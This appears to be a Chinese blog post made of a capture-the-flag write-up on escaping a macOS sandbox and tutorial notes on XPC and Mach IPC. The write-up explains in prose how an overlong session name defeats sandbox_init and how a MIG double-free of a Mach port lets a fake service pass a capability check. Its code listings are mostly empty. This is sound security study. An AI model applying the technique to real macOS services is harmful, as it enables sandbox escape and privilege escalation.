进入沙箱时,需要指定沙箱规则,我们看看子进程的沙箱规则模板是什么样的:
1 | const char* sb_profile_template = "(version 1)\n" |
这里配置了一些权限:
使用白名单设置
导入 /System/Library/Sandbox/Profiles/system.sb
中的系统权限,这之中允许了 诸如读取 /dev/null、/dev/zero 文件等常用权限。
允许 fork
允许对该 session 工作路径下一切文件的任意信息的读写操作
这里的任意信息包括但不限于:文件数据、文件元数据、文件扩展属性等等。
即一个文件里所有能读的东西。
允许对 /dev/tty 路径下任意文件的数据读取和写入操作
允许对 /bin、/usr/bin、/usr/sbin 文件夹下任意文件的读取与执行
回到父进程,接下来父进程注册子进程退出时的事件处理例程
1 | int rfd = fds[0]; |
注意到处理例程内部调用的 handle_process_exited 函数:
1 | void handle_process_exited(pid_t pid, CFMutableDictionaryRef session, int output_fileno) { |
该函数会将子进程的 stdout 全部输出信息,读取 4096字节并将其发送给 listener port,即 client。
最后父进程注册子进程的超时处理例程,每个子进程最多运行 60s,若执行超时则会被立即 kill。
1 | // 设置子进程超时时间为 60s |
示例代码 client 中所做的事情不多,具体说明内嵌进代码中。
1 | kern_return_t shelld_client_notify(mach_port_t listener, int status, const char* output) { |
运行结果:
通过阅读上面的代码,我们可以了解到,shelld 会根据信息发送方的权限与请求,动态创建一个带有沙箱的子进程。这里的权限指的是 capsd
中存储的 capabilities。
当前的 exploit 位于沙箱中,因此无法直接读取外部的 flag。我们只能通过题目提供的两个服务来尝试进行沙箱逃逸,通过观察我们可以发现,shelld 中有个 shell_exec 函数可以执行一个新的程序,或许可以尝试让 shelld 启动一个子进程来读取 flag。但这里存在一些条件:
"process-exec* "/bin/bash"
沙箱权限的请求者将无法让 shelld 启动新进程。很明显 Exploit 位于沙箱之中,沙箱规则没有提供这个权限,无法直接通过这个 check。sandbox_init
函数进入沙箱。一旦子进程进入沙箱,则子进程将无权读取 flag。我们先从简单的入手。
shell_exec 启动的子进程会执行 sandbox_init
函数,倘若该函数执行成功,那么子进程就无法读取到 flag。
那么,如何让 sandbox_init 函数执行失败呢?注意 sb_profile_template 字符串:
1 | const char* sb_profile_template = "(version 1)\n" |
根据我的测试,scheme in AppSandboxProfile 的字符串长度不得超过 1023 字节。如果超过则 scheme profile 将解析出错,sandbox_init
函数直接返回,不会进入沙箱。
以下是测试结果:
因此,我们可以通过传入超长 session name 来绕过子进程的 sandbox 初始化操作,就像下面这个 client:
1 |
|
运行结果如下:
可以看到当传入的 session name 超级长的时候,即可超过沙箱函数,读取到沙箱外部文件。
该问题成功解决。
这里算是整个题目的重点,稍微有点复杂。
接下来我们需要绕过 sandbox_check_with_capabilities 检查。再贴一下它的代码:
1 | int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) { |
很明显,作为位于沙箱中的发送方,exploit 肯定没有权限执行 /bin/bash,因此 sandbox_check_by_audit_token
无论如何一定会返回 1。因此 shelld 将会向 capsd 进行第二次查询。
如果 capsd 中可以返回一个 has capability 的结果给 shelld,那么 exploit 就可以通过 sandbox check,从而 get flag。但正常情况下 exploit 无法通过 capsd 里 grand_capability 方法中的 sand_check_* 函数,因此 capsd 将不会返回一个我们所期望的结果给 shelld。
那如果我们能劫持这个 capsd_service_port ,自己伪造一个 “capsd” 向 shelld 发送伪造结果,那么就可以通过 shelld 的 sandbox check,进而 get flag。
那该如何伪造呢?这就涉及 MIG 所有权规则(MIG ownership rule)。
这里的所有权,指的是调用者以参数形式 传给 MIG 例程的 mach port的所有权。
之前在学习 Mach IPC 时,我们只是简单的了解了 MIG 传递基础类型的例子,并没有思考过传递复杂类型参数时的一些细节。
现在仔细想想,对于调用者传递一个 mach port 给 server 的情况,这个 mach port 的生命周期该如何管理呢?
这里,我们将以 shelld 中的
register_completion_listener
函数来作为一个例子,因为只有该函数会接收一个 mach port 类型的参数。
初始时,shelld 会指定 shell_server 函数来处理所有传入的 mach message。而 MIG shelld_server 函数的功能相当简单:做一些基础检查工作,之后根据接收到的 mach message 中的 msgh_id
字段,来动态选择调用哪个 routine 例程:
之前曾提到过,每个 mach message header 中有个字段
msgh_id
,这个是可供用户自己使用的一个字段, MIG 使用该字段来区分client 想调用哪个 server 接口。
1 | // shelldServer.c |
需要注意的是,shell_server 在 MIG 功能正常的情况下,将会始终返回 TRUE。
同时我们也可以看到,返回给 client 的信息并非 COMPLEX。
注意给 OutHeadP 设置 msgh_bits 时没有指定 COMPLEX flag。
当 Client 需要调用 register_completion_listener 函数时,shelld_server 会对应的调用到该函数的 routine 函数,即 _Xregister_completion_listener
。
1 | /* Routine register_completion_listener */ |
可以看到,Client 传递 mach port 给 server 时,是通过 mach_msg_port_descriptor_t
来传递的。并且在下面调用了最终服务器所实现的那个接口,并将返回值(KERN_* 类型)存入 RetCode
字段中。
以下是返回的 mach msg 结构体,可以看到这个字段是为数不多会向上层传递的值:
1 | typedef struct { |
那么这个 RetCode 在哪里使用呢?换句话说 server 实现的接口所返回的 KERN_* 返回值,对 server 所接收到的 listener mach port 的生命周期有影响么?
还真有影响。
我们再来看看 libdispatch 是如何处理 client 传来的 mach message 的。
对于 shelld 来说,可以看到它指定 libdispatch 调用 dispatch_mig_server
函数来处理 mach message。
1 | dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue()); |
那我们就来简单了解一下 dispatch_mig_server
这个函数,以下是该函数核心源代码,代码经过省略并添加大量说明文字:
libdispatch 源码可以到 apple opensource libdispatch src 获取。
1 | mach_msg_return_t |
注意到这个片段:
1 | // 在 shelld 中,这个 callback 为 shelld_server |
其中, callback 为之前 shelld 所指定的 shelld_server
,几乎不可能返回 FALSE,同时待回复的 mach message 不为 COMPLEX,因此接下来的第一个 if 判断将不成立,进入第二个 if 分支中。
在这个 if 分支中,dispatch_mig_server 将对调用结果 RetCode 进行判断:如果调用失败,则调用 mach_msg_destroy 将 Request message 析构。
而在 mach_msg_destroy
的 XNU 实现中,注意到它会析构掉所传入 mach msg 中的 MACH_MSG_PORT_DESCRIPTOR
,而这里存放的是先前 client 传来的 listerner mach port:
1 | void |
这意味着:若 Server 所实现接口不返回 KERN_SUCCESS 时,libdispatch 将自动释放 client 传给 server 的 listener
(mach port)。
即:如果 MIG 调用 返回成功代码,则意味着该方法获得了消息中包含的所有 mach port right 的所有权;如果 MIG 调用 返回失败代码,则意味着该方法对消息中包含的 mach port right 不具有任何所有权,此时消息中包含的 mach port right 将会静默被 MIG 析构。
除了 libdispatch 以外,其他用于 MIG 的 mach_msg_server
和 mach_msg_server_once
函数同样遵循该规则:
1 | mach_msg_return_t |
那么现在回到 register_completion_listern
函数中,我们再来看看哪里不对劲:
1 | kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) { |
很明显,既然该函数要在查询不到 session 时返回 KERN_FAILUE
,那么就不应该对 listerner 这个 mach port 进行 deallocation
操作,这将使得该 mach port 被 deallocate 两次,一次是该函数中,另一次是在 MIG 其他处理过程中。
根据上面的内容我们可以了解到,register_completion_listener
函数可能会导致对某个 mach port 的 double deallocation。
而又因为 mach port 是引用计数的,因此我们可以将 capsd_service_port
传给该函数,利用该函数的漏洞点,尝试二次释放掉 capsd_service_port
。因为此时的 capsd_service_port 的引用计数为 2,二次释放将使得该 mach port 的引用计数归 0,导致该 mach port name 在当前 task 中被彻底释放。这样,该 mach port name 可被下一次创建的 mach port 所重用。
shelld 中, capsd_service_port 的引用计数在执行
register_completion_listener(..., capsd_service_port)
时,之所以为 2,是因为:
- shelld 在 main 函数中执行
bootstrap_look_up
,已经获取了一次 capsd_service_port 的 right- 执行 register_completion_listener 时,client 将再发送一次 capsd_service_port 给 server
故 server 将在两个不同的地方持有相同的 port,引用计数为2。
因此,我们便可以尝试 劫持/接管 这个被释放掉的 mach port name,对 shelld 伪造一个 “capsd”,在 shelld 进行权限查询时返回错误结果,绕过 sandbox capability check。
花了点时间写了下利用,以下代码成功突破 shelld 的 sandbox capabilities check:
1 |
|
运行效果如下,可以看到成功通过 capabilities check:
需要注意的是,调试时,最好每次都重启一下 shelld,防止其内部旧数据影响调试。
综合上面的内容,我们最终可以拼接出一个完整 exploit:
1 |
|
编译参数:
1 | CC = clang |
在沙箱中执行 exploit:
1 |
|
运行结果:
调试 exp 时,最好每次在执行 exp 前都重启一下 shelld。
XPC 是一种 OS X 进程间通信技术,通过权限分离机制来对应用沙箱机制做了一个补充。其中,权限分离是根据每个部分所需的系统资源访问将应用程序分成多个部分,每个部分可以使用提前声明的权限(沙箱)。这种单个组件称为XPC 服务。
将应用程序分成多个部分,还可以提高程序的可靠性,防止程序的部分代码崩溃导致整个程序的退出。
每个 XPC 服务都位于自己的沙箱,即 XPC 服务有自己的容器和一组权限。包含在应用程序中 XPC 服务只能由应用程序自己访问。当应用程序启动时,系统会自动将它找到的每个 XPC 服务注册到应用程序可见的命名空间中。之后应用程序便可以与 XPC 服务通信并执行请求。
XPC 服务的特点:权限分离 + 错误隔离
XPC 服务有 launchd 所管理,当 XPC 服务被意外终止(或者崩溃)后,该服务将会被 launchd 重启。
由于网上的例子中 Object-C 的例子较多,而 C 语言的 XPC 例子较少,因此这里也用 Object-C 学习 XPC。
虽然还没学 Object-C 还不大会…
打开 XCode,新建项目,选择 XPC Service。
之后输入 Product Name 和 Organization Identifier,最后的 Bundle Identifier 将会生成一个反向 DNS 名称格式的字符串。这个 Bundle ID 有大用,最好设置成应用程序的 subdomain(子域名),不过这里先忽略。
之后,XCode 将会存放一个 XPC 的示例代码,功能类似于 echo server。
接下来我们将慢慢研究这个示例代码,并顺带学习一下 Objective-c。
要是对 Objective-C 不太熟就对着这个看 Objective-C 基础知识 - 菜鸟教程
在使用 XPC 前,必须先声明一个接口(interface)。接口主要有协议(Protocol)组成,描述了应该在远程进程中调用哪些方法。
以下是 XCode 自生成的 protocol 声明。这里声明了一个名为 XPCDemoProtocol
的协议,同时还定义了一个 upperCaseString
的接口函数:
protocol 个人感觉有点类似于 C++ 中的虚类,不实现任何函数,只是简单的定义函数接口。
1 | // XPCDemoProtocol.h |
protocol 主要用于限制调用程序和 XPC 服务之间的编程接口。所有需要在调用程序中调用的方法必须在 protocol 中指定。需要注意的是:XPC 通信是异步的,因此 protocol 中的方法的返回值都只能是 void,如果需要返回数据则使用返回块,即正如上面代码中 upperCaseString
函数的第二个参数,类似于 callback。(什么是块?)
在声明完 protocol 后,我们需要实现一个描述它的接口。因此这里的代码声明了 XPCDemo
类,继承自该 protocol:
1 | // XPCDemo.h |
并实现类功能:
1 | // XPCDemo.m |
上面的代码主要做了两件事情:
这里的 upperCaseString
函数只做了一件事情:将传入的字符串全部转换为大写,并调用 callback 将结果返回。
看上去还挺好理解,那就继续看看 main 文件。
1 | int main(int argc, const char *argv[]) |
main 函数中创建了一个 NSXPCListener 类,并设置 listener 的委托,之后执行 resume 函数。
看上去有点不明觉厉,找了下 NSXPCListener
的类声明:
1 | // Each NSXPCListener instance has a private serial queue. This queue is used when sending the delegate messages. |
可以看到,
serviceListener
属性是 XPCService 用于监听 XPC connection 的监听器。main 函数现在理解的差不多了,现在研究一下 NSXPCListenerDelegate
,以下是它的协议声明:
1 | @protocol NSXPCListenerDelegate <NSObject> |
该协议中声明了一个可选实现的 listener
接口。这个接口的参数分别为:
listener
:NSXPCListener 类型*,newConnection
:NSXPCConnection 类型*,新传入的连接返回值是 BOOL
类型,可选值为 YES
和 NO
。
Objective-C 还有两种布尔类型,分别是 bool (true, false) 和 Boolean (TRUE, FALSE)。
该函数用于为新连接设置属性时所执行的函数,类似于预处理。该函数可以选择接收或者拒绝传入的连接,并且还可以自由选择什么时候恢复连接。我们再来看看该函数默认生成所执行的操作:
1 | // main.m |
该函数将会为每个新连接设置其 exportedInterface 与 exportedObject ,并恢复该连接,换句话说,该函数会在处理连接之前设置传入连接的两个成员。
至于这种设置是为了什么,我们需要再看看 NSXPCConnection 类的声明,以下是截取出的部分声明:
1 | // This object is the main configuration mechanism for the communication between two processes. Each NSXPCConnection instance has a private serial queue. This queue is used when sending messages to reply handlers, interruption handlers, and invalidation handlers. |
也就是说该函数实际是为每个新连接指定了处理连接的方法:
exportedInterface
:用于描述应向连接的另一端提供的方法。exportedObject
:包含一个本地对象,用于处理来自连接另一端的方法调用当应用程序调用 NSXPCConnection 上代理的方法时,应用程序的 NSXPCCoonnection 将调用存储在 exportedObject 类上的目标方法,即实现远程进程调用。
Info.plist
在 XPC Service 中承担着较为重要的一部分。XPC Service 要求在 Info.plist 中指定一些特殊的键值对,以下是其中的一些类型:
CFBundleIdentifier:指定当前 XPC Service 的反向 DNS 样式的服务名称字符串。应用程序将通过这串 BundleID 来访问 XPC 服务。
还记得创建 XPC 服务项目时指定的 Bundle ID 么 :)
CFBundlePackageType:一个指定 Bundle Package 类型的字符串,XPC Service 中必须是 XPC!
XPCService:一个字典
EnvironmentVariables
:字典类型,用于指定 XPC 服务运行时的环境变量。JoinExistingSession
:布尔值,表示 XPC 服务是否与调用方在同一个安全会话中运行。RunLoopType
:字符串,用于指定服务的 runloop 类型,默认是 dispatch_main
;还有一种是 NSRunLoop
。现在我们已经可以让 XPC Service 跑起来了,现在需要编写一个程序来使用 XPC Service。XPC Service 默认模板中提供了如下的 client 代码,它将发送一串字符给 XPC service 并将返回的结果输出:
创建 XPC 连接:
1 | NSXPCConnection *_connectionToService = [[NSXPCConnection alloc] initWithServiceName:@"io.kiprey.github.XPCDemo"]; |
发送请求
1 | [[_connectionToService remoteObjectProxy] upperCaseString:@"hello" withReply:^(NSString *aString) { |
在不需要连接时再来断开连接
1 | [_connectionToService invalidate]; |
正如代码所示,
Client 会使用 XPC Service 中的 Bundle ID 来查找并与 XPC Service 建立连接。
之后 Client 指定了 remoteObjectInterface
属性,以规范调用接口的类型。
接下来,恢复 XPC 连接,并通过 NSXPCConnection
对象中的 remoteObjectProxy
属性,间接且透明的调用 XPC Service 上的接口。当XPC Service 完成服务后,返回的信息会被异步输出至控制台。
最后,关闭 XPC 连接。
需要特别说明一下如何使用 XPC Service,并让 Client 成功连接上(这个绕了我半天)。
即,将 XPC Service 内嵌进 App 中。
首先,建立一个 App:
坑点:不能是 Command Line Tool 。
因为 Command Line Tool 不具有类似 App 的结构,因此无法托管 XPC Service。
之后,在接下来这个界面中选一个 Language 为 Objective-C 的 Interface,Interface 是 GUI 相关的暂时不用管:
项目创建后,选择 File -> New -> Target
,新建一个 XPC Service
。注意到在新建的最后一步中会有一个 Embed in Application
选项:
这样,这个新建的 XPC Service 就会被内置进这个 Application 中:
之后,为了简单,我们直接将 main.m
中的原始代码:
1 | #import <Cocoa/Cocoa.h> |
替换成如下调用 XPC 服务的代码,简单粗暴:
1 | #import "XPCServiceProtocol.h" |
需要注意的是:当调用者向 XPC Service 请求服务后,由于请求是异步执行的,因此执行到程序末尾后可能调用者还没有接收到 XPC Service 的返回结果,此时调用者需要等待,千万不能立即调用 invalidate
方法。
调用
invalidate
方法将会立即终止连接,不会等到 XPC Service 返回信息后再终止连接。
之后先编译 XPCService,再编译 Client。以下是执行结果:
上面那种方法简单说明了如何将 XPC Service 内嵌进 App 中并使用,启动和管理也较为方便。
但要是希望生成的 XPC Service 可以被任意程序调用,那该如何启动?
首先,编写一个 XPCDemo.plist
,这种编写的 plist 称之为 launchd.plist。内容如下:
1 |
|
其中指定了:
Label
:即其他进程用于索引当前 XPC Service 的标签Program
:待被启动的守护进程的路径KeepAlive
:表示是否需要让 launchd 在该守护进程崩溃后重启更多关于 lanchd.plist 的细节可以在
man launchd.plist
文档中找到,这里不再赘述。
之后,我们可以让 launchd 来启动并管理我们的 XPC Service。
原先是想将 XPCDemo.plist
文件拷贝进 /System/Library/LaunchDaemons
文件夹下,但是执行 cp 操作时,提示 Read-only file system
,即该目标文件夹不允许写入操作。无论是关闭 SIP 还是执行sudo mount -uw /
以修改根路径的挂载权限,都无法写入该文件夹下。其他方式也不想再折腾了,因此放弃将该 plist 文件拷贝进 System Launch Daemons 文件夹的打算。
这种错误可能是因为目标文件夹是
/System
打头的路径。但我们仍然可以将 plist 复制进
/Library/LaunchDaemons
文件夹中。
但即便我们不将 plist 文件复制进 Launch Daemons 文件夹下,我们依然可以让 launchd 来启动我们的 XPC Service:
首先,执行 chown
修改刚刚创建的 XPCDemo.plist
文件所有权
1 | sudo chown root:wheel XPCDemo.plist |
之后执行以下命令,使 launchd 启动目标程序
1 | sudo launchctl bootstrap system XPCDemo.plist |
当我们希望 launchd 关闭目标 XPC Service 时,执行以下命令
1 | sudo launchctl bootout system XPCDemo.plist |
当 launchd 开始管理我们的全局 XPC Service 后,如果该 XPC Service 异常崩溃,则 launchd 会每隔 10s 重启一次服务:
图中是之前测试时,XPCDemo 老是一开就挂,因此 Launchd 会每隔 10s 重启一次,并且一直重启下去。
log 查看命令:
log show --predicate 'processID == 0' --last 1h | grep "XPC"
需要注意的是,单独使用 XCode 的 XPC Service 项目编译出的程序无法直接执行,因此不能挂在 launchd 下面跑,必须参照 Signing a Daemon with a Restricted Entitlement 将 XPC Service 以类 app 形式编译出一个可执行文件来。
查看下面这张图,我们可以看到上面 [ServiceDelegate listener]
函数所做的就是设置 NSXPC Service 这方的 Exported Object
。
而这张图说明了整个 XPC 通信的过程:
当我们可以理解 Objective-C 的 XPC Service 后,C 风格的 XPC Service 也就更容易理解。
具体细节就不再赘述了,这里贴出两个 C-Stype XPC 的相关资料:
Mach,是一个面向通信的操作系统微内核,其基本工作单位为 task
(而不是 process)。Mach 内核提供了一种 IPC 机制,而 XNU 的大多数服务也建立在 Mach IPC 和 Mach Task 上。
Mach 有多种抽象的基本概念,其中一部分分别是 task
、thread
、port
、message
、memory object
。
Mach 微内核作为 MacOS XNU 内核的组成部分,接管了相当重要的一部分功能。其中最著名的莫过于 Mach IPC 进程间通信机制。
本人将在这里简单记录一下 Mach IPC 部分机理。
需要注意的是,这是本人第一次接触 Mach IPC,因此其中可能会有一部分陈述或者说明存在问题,还请各位师傅不吝指出。
Mach 将传统的 UNIX 进程抽象拆分成了 task
和 thread
。其中:
task 是一个执行环境与静态实体。它并不直接执行计算,而是提供了一个框架,其他实体(例如线程)在其中执行。内核中的BSD 进程(类似 Unix 进程)与 Mach task 有着一一对应的关系。
task 还是资源分配的基本单元。那些与 BSD 进程所关联的资源被包含于 task 中。
同时每个 task 也代表了保护边界。在获取访问权限前,不同 task 不能访问其他的 task 中的资源。
thread 是 Mach 中实际执行的实体,也是 task 的控制流执行点。它在 task 的上下文中执行。
thread 执行的代码驻留在其 task 中的地址空间中。每个 task 中包含 0 至多个 thread。
通过上面的说明,我们也可以将 task 这个概念,间接理解成传统意义上的 process(是不是非常的相似:))
需要注意的是:一旦创建了 task,那么任何持有着 task identifier 的用户都可以修改 task。
Mach Port 是受内核保护的单向 IPC 通道、功能和名称。在 Mach 内核中,mach port 被实现成一个有限长度且被内核所维护的消息队列,与 Linux Pipe 有些相似,都会因为队列满或者队列空而阻塞,其基本操作为发送和接收消息。该队列是多生产者、单消费者队列,只能有单个 receive right。
Port 的这种抽象以及相关的操作是 mach 通信的基础。一个端口有着与之相关联的内核管理权限,而每个 task 都必须拥有 port 的适当权限才能操作它。当一个 Mach Message 被发送至某个 task 中,只有具有接收权限的 Mach port 才能接收该 Message,并将其从队列中删除。
例如这种权限设置可以允许一些任务向给定的端口发送信息,或者指定一些任务可以接收到发送给它的信息。
mach port 在 Mach 中非常重要,它表示着对象的引用,代表了OS中各类服务、资源等抽象。在 Mach 内核中,相当多的数据结构、服务等等都用 mach port 表示;而用户也可以通过对应的 mach port 来访问到 tasks、threads以及 memory objects。
Mach port 的名称是一个整数,但与文件描述符不同, Mach 端口不会通过 fork 而隐式继承。
每个 Mach Port 都有着对应 port 的权限(right),以下是 Mac OSX 所定义的部分 port right 类型:
MACH_PORT_RIGHT_SEND
:表示权限拥有者可以向该端口发送信息MACH_PORT_RIGHT_RECEIVE
:表示权限拥有者可以从该端口中获取 MessageMACH_PORT_RIGHT_SEND_ONCE
:表示发送方只能发送一次 Message。不管该权限是否被销毁,该句柄始终会发送一条消息。MACH_PORT_RIGHT_PORT_SET
:表示多个 port name 的集合,可以被看做是多个端口接收权限的集合。端口集可用于同时侦听多个端口,类似于 Unix epoll 机制等等。MACH_PORT_RIGHT_DEAD_NAME
:只是一个占位符。若某个端口的权限被销毁后,则该端口的所有现有句柄的权限都将转换成 dead name(即无效权限)。dead name 机制是为了防止所接管的端口名被过早重用。若某个端口的接收权限被释放时,则将该端口视为被销毁。注意接收句柄在任何时候都只能有一个 task 所持有。
而端口权限名称(port right name)是某个 task 用来引用所持有的 port right 的特定整数值,有点类似文件描述符。需要注意的是每个port right name 只会在原始任务的上下文中有意义,这意味着即便将该名称发送给其他的任务,该任务也无法使用该名称访问对应的 mach port。(这也再次类似于文件描述符)
这个 port right name 正是我们日常见到最多的**用户层(注意必须指定是用户层)**中
mach_port_t
类型的值。注意还有一个 port name(和 port right name 不一样),在用户层中是 mach_port_name_t 类型的值。
port name 和 right 的关系,类似于 Unix 中文件描述符和文件描述符权限的关系。但是,请勿直接将 right 等同于 权限,mach port right 和权限二字仍然有着较大的差别。
Mach IPC message 是线程之间相互通信的数据对象,它也是 tasks 之间通信的典型方式。一个 Message 中可能包含实际的数据(即内联数据),或者包含指向外联数据(out-of-line,OOL)的指针;后者是针对大数据传输的一种优化。
Mach Message 由以下几个部分组成:
一个强制要有的消息头 (mach_msg_header_t 类型)
1 | typedef struct |
一个可选的消息 body (mach_msg_body_t 类型)
1 | typedef struct |
注意,消息 body 并不只是这一个简简单单的结构体,请看下面的图。
用户待发送的数据 data
一个可选的 tailer(mach_msg_trailer_t 类型)。该字段只与发送方有关。这个我们将在下面讲到。
一个简单 Message 示例。其中 header.size 描述的是 header + data 的总大小:
一个复杂 Message 示例。与简单消息不同的是,复杂消息还包含了 body 信息,用以额外说明一些信息。
这个是更详细的说明图:
这是一个复杂 Message 的具体代码样例。其中 body 部分包括 msgBody
字段和 ports[1]
字段,待发送 data 部分为 notifyHeader
字段:
1 | struct PingMsg { |
Message 的具体使用与机理将在下面使用中慢慢说明。
以下是使用 Mach 低级 API 进行 IPC 的一个简单例子。
1 |
|
测试结果:
接下来将简单讲讲该例子中所调用的一些用户 API。
初始时,接收端调用 mach_port_allocate
创建一个指定权限的 mach port:
1 | mach_port_t port; |
该函数的定义如下:
1 | kern_return_t mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) |
其中,第一个参数指定当前进程所在的 task。有趣的是,这种指定 task 的方式也是通过传递一个 mach port name 来完成。以下是 task_self_trap 函数的源代码,mach_task_self 函数是该函数的 wrapper。
1 | /* |
第二个参数指定当前待分配 Mach port 的 right,这里请求的是接收权限。根据 xnu 源码,该函数的第二个参数只有以下三种有效:
MACH_PORT_RIGHT_RECEIVE
:创建一个新端口,且当前只有接收权限MACH_PORT_RIGHT_PORT_SET
:创建一个空的端口集,其中端口集里没有任何成员MACH_PORT_RIGHT_DEAD_NAME
:创建一个新的 dead name该函数的第三个参数指定 成功分配 port 时其所存放的位置,这个没啥好说的,略过。
作用:将指定的 port right 插入进当前 task 中。
例子中的使用方式:
1 | // 给该 port 再增加一个发送权限 |
其函数声明如下:
1 | kern_return_t |
在这个例子中,调用者会对新创建的 port (此时只有 receive right) 添加上 send right。这里的 send right 指的是给当前 port 发送 mach message 的权限。
在 OSX 中,当一个新的 task 被创建时,它会被额外设置一组特殊的Mach port。其中包括:
剩余的可以在
osfmk\mach\task_special_ports.h
中了解。
对应与 task 内核结构体中的字段如下:
1 | /* IPC structures */ |
可以发现这些 struct ipc_port itk_*
都是特殊的 mach port,每个 task 都会被设置。
其中,
itk_host
、itk_bootstrap
、itk_seatbelt
、itk_gssd
、itk_task_access
都是从 parent task 中继承。
对于 itk_registered
数组来说,用户可以使用 mach_ports_register 函数将目标端口注册进该数组中,并使用 mach_ports_lookup 进行查询。注册后的 port right 将会填充至 task 结构体中 itk_registered 数组的某个槽。
bootstrap server 提供一个 port namespace,task 可以在其中注册自己的端口,其他 task 可以查找并向其发送消息。
我们可以将 bootstrap server 看作一个电话簿:task 可以放置一个已知且被命名的值,以对应于该 task 正在监听的 Mach port。
若某个 task 需要向 bootstrap server 注册服务,则 task 可以使用 bootstrap_register()
函数,该函数接受字符串名称和与之关联的Mach端口。但需要主要的是,Mac OSX 在10.5中弃用了这个函数,因此在编译上面的例子时,编译器会报出一个 Deprecated 的 warnning。
不过,我们还可以使用 bootstrap_check_in 来取代 bootstrap_register 函数。
在这个例子中,接收方会将带有 send right 的 mach port 注册进 bootstrap 中;那么当发送方尝试向 bootstrap 申请获取接收方的 port 时,bootstrap 就可以将当前所注册的 mach port 的 send right 复制一份给发送方。
这样,发送方便有了该 mach port 的 send right,可以向该 port 发送数据。而 mach port 的另一端(也就是接收方)便可以直接读取到发送方发来的消息。
作用:发送 mach message 或者接收 mach message。在这个例子中,发送方和接收方都会间接调用到这个函数来发送或者接收 mach msg。
我们先简单看看 mach_msg 函数的定义,了解该函数各个参数的作用或功能,内核的具体处理方式将在后面讲到。
1 | mach_msg_return_t |
对于发送方而言,发送方需要指定 header 的一些字段:
1 | message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); // 设置下面对应 port 的 mach 信息类型 |
上面的例子已经为我们展示了单向 mach 通信的基本方式(sender-> receiver)。接下来尝试让receiver也能发送数据给sender,实现双向通信。
需要注意的是, mach 是单向通信,因此必须让 sender 再创建一个新的 port(即 sender 持有新 mach port,注意此时 receiver 已经持有了一个旧的 mach port),并让 receiver 持有该 port 的 send right 才能实现双向通信。而这就涉及到一个问题:如何传递 mach port right?
一种解法是,再次利用 bootstrap 做中转,这确实是一个解决方法,但是不够优雅。实际上,因为此时的 sender 是可以通过已有的 mach port 将信息发送给 receiver,因此我们可以利用这个 mach port ,将新的 mach port 的 send right 发送给 receiver。
因为 Mach message 是支持传输 port right 的。
以下是整个通信的完整过程,其中 bob 是 sender, alice 是 receiver:
现在的问题是,如何把权限发送过去?我们分别看看两种不同的方式。
当 sender 从 bootstrap 中获取到了 receiver mach port 的 send right 后,sender 便可以给 receiver 发送信息。这是之前的 message header 设置方式:
1 | message.header.msgh_bits = MACH_MSGH_BITS(/* remote */ MACH_MSG_TYPE_COPY_SEND, /* local */0); |
但在这里,我们将使用一个新的 message 方式:
1 | message.header.msgh_bits = MACH_MSGH_BITS_SET( |
那么此时再使用 mach_msg 发送这条 message,则 sender 发送来的信息中将包含一个 replyPort。
这个 replyPort 有什么用呢?事实上,对面的 receiver 将会通过这个传过去的 replyPort,向这边的 sender 发送信息。
注意所设置的 message.header.msgh_bits
,其中 local
部分对应的是 MACH_MSG_TYPE_MAKE_SEND_ONCE, 这意味着 replyPort 只能被 receiver 使用一次 send 操作。
当 receiver 接收 message 时,sender 发送信息时的 remote_port
和 local_port
,分别一一对应于 receiver 所接收到 message 中的 local_port
和 remote_port
。
因此此时 receiver 方的 message 中 remote_port
不会是 MACH_PORT_NULL,而是先前设置的 replyPort
。
因此接下来 receiver 便可以通过这个 replyPort 向 sender 发送信息。但需要注意的是,在发送信息给 replyPort 时,其 message.header.msgh_bits 字段,必须设置成 MACH_MSG_TYPE_MAKE_SEND_ONCE
,即和发送该端口过来时所设置的位一致。
因为受到发送 replyPort 方(即 sender 方)的设置或者限制, receivier 方只能发送一次信息至 replyPort 中。
以下是完整的代码实现:
1 |
|
执行效果:
那么可能会有疑问,为什么 replyPort 的 msg 类型要设置成 MACH_MSG_TYPE_MAKE_SEND_ONCE?能不能设置成 MACH_MSG_TYPE_COPY_SEND ?实际上是可以的,并且后者可以允许 receiver 多次向 replyPort 发送 mach message,而不是只有一次。
还记得之前描述 Mach Message 的结构么?Mach message 既可以传递简单信息(即之前的那些示例)又可以传递复杂信息(即接下来要讲的)。现在,我们将尝试使用复杂 mach message 来传递一个通信 mach port。
为了简化说明,这里假设上面的内容已经完全理解。
现在, sender 需要尝试将自己新建好的 replyPort(已完成包括 alloc, insert right 等操作) 发给 receiver,那该怎么做呢?
其实可以直接在消息主体中,传递端口描述符。这里需要先引入一下待发送的 mach msg 结构类型定义:
1 | typedef struct { |
其中,header 自不必说;msgh_descriptor_count
说明接下来将会有多少个 descriptor;而mach_msg_port_descriptor_t
类型的 descriptor 字段将会描述一些关于待传递 port 的信息。
每个 descriptor
不管是什么类型,都会占用 40 字节。以下是最原始的 descriptor 的类型声明:
1 | typedef struct{ |
而端口描述符的定义如下:
1 | typedef struct{ |
其中
name
:待传递的 port。这里要设置为 replyPort
disposition
:待传递 port 的 right。这里设置为 MACH_MSG_TYPE_PORT_SEND
一共有以下几种:
1 | /* |
type
:待传递的类型。这里要设置为 MACH_MSG_PORT_DESCRIPTOR
由于 descriptor 的类型不只是端口描述符一种,因此需要显式为 descriptor 指定类型,以便于内核处理。共有以下几种类型:
1 |
代码示例:
1 | send_msg.msgh_descriptor_count = 1; |
最后执行 mach_msg_send 之前,别忘记向 msgh_bits 字段中添加 MACH_MSGH_BITS_COMPLEX,以指定该信息为复杂信息。否则这些描述符只会被解释成内联信息。
1 | // 注意这里,要指定待发送的信息格式为 complex |
接收端只需接收发送端发来的数据,并取出端口描述符中的 port name,即可开始通信。
要做的事情较为简单:
1 | // 等待 message |
示例代码如下:
1 |
|
运行结果如下:
当某个进程需要传递大量数据给对端时,simple message 中的内联数据已经无法满足我们的需求了(因为将数据拷贝进内联数据的开销是相当大的)。因此,我们可以试着使用 mach complex message 中的 OOL 描述符来传递内存页。
首先,我们需要定义一下复杂 mach msg 的结构:
1 | typedef struct |
注意到消息体中的描述符为 mach_msg_ool_descriptor_t
类型。该类型的结构体定义如下:
1 | typedef struct{ |
其中,
address 字段:存放待发送内存页面的基地址。
